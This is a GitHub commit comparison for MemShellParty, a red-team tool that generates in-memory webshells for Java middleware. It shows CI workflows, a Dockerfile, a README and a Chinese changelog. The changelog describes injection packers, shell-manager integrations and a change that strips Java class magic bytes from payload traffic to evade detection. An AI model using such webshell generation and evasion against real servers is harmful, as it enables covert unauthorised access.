Compare commits

...
57 Commits
Author SHA1 Message Date
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
213 changed files with 2270 additions and 1057 deletions
+41
View File
@@ -0,0 +1,41 @@
name: Docker Build Test
on:
push:
branches:
- master
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'vul/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
+41
View File
@@ -0,0 +1,41 @@
name: docker-push
on:
workflow_dispatch:
inputs:
path:
description: 'Path'
required: true
default: '/redqueen-memshell-party'
tag:
description: "Tag"
required: true
default: "redqueen"
jobs:
docker-push:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=${{ inputs.path }}
CONTEXT_PATH=${{ inputs.path }}
push: true
tags: |
docker.io/reajason/memshell-party:${{ inputs.tag }}
@@ -0,0 +1,76 @@
name: MemShell IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -0,0 +1,72 @@
name: Probe IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- '**/probe/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+1 -1
View File
@@ -112,7 +112,7 @@ jobs:
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: boot
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party
-174
View File
@@ -1,174 +0,0 @@
name: Test
on:
push:
branches:
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
detection-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+35
View File
@@ -0,0 +1,35 @@
name: Unit-Test
on:
push:
branches:
- '**'
paths:
- 'generator/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
+45 -13
View File
@@ -5,12 +5,48 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
### Added
1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu
2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
```http
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
```
改为只需要如下方式
```http
/path/code?payload=IBVQEAJ29yZy9hcGFj...
```
### Fixed
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
### Changed
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
2. 去除 logbackjava11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
3. 实现 @SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
7. 优化 Agent Attacher JDK11 异常处理
8. 依赖更新
**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13
> [!WARNING]
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
> 进行调整。
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。
### Added
@@ -28,18 +64,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Changed
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- 简化 Tomcat AgentInjector 的代码
- 前端 module 分包减少单个 js 体积,加快首次加载速度
- 移除 memshell-party-bom 模块,改用
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
- 使用 build-logic 替代
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
- 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
+3 -3
View File
@@ -1,4 +1,4 @@
FROM buildpack-deps:bullseye-scm AS source
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
WORKDIR /usr/src
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.19 AS frontend
FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
WORKDIR /usr/src
+6 -8
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
@@ -29,9 +24,12 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
![normal_generator](asserts/normal_generator.png)
![agent_generator](asserts/agent_generator.png)
<p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性
Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

@@ -2,7 +2,6 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
@@ -27,7 +26,8 @@ public class ConfigController {
Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
.getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList());
}
return servers;
@@ -46,16 +46,13 @@ public class ConfigController {
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
if (server == null) {
continue;
}
Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : server.getSupportedShellTools()) {
for (String shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) {
continue;
}
map.put(shellTool.name(), supportedShellTypes);
map.put(shellTool, supportedShellTypes);
}
coreMap.put(supportedServer, map);
}
@@ -6,6 +6,8 @@ import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*;
/**
* @author ReaJason
* @since 2024/12/18
@@ -36,38 +38,38 @@ public class MemShellGenerateRequest {
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
.pass(shellToolConfig.getGodzillaPass())
.key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
.pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.paramName(shellToolConfig.getCommandParamName())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build();
case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
.pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.0.0"
version = "2.1.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
+3 -6
View File
@@ -25,12 +25,12 @@ bun run build
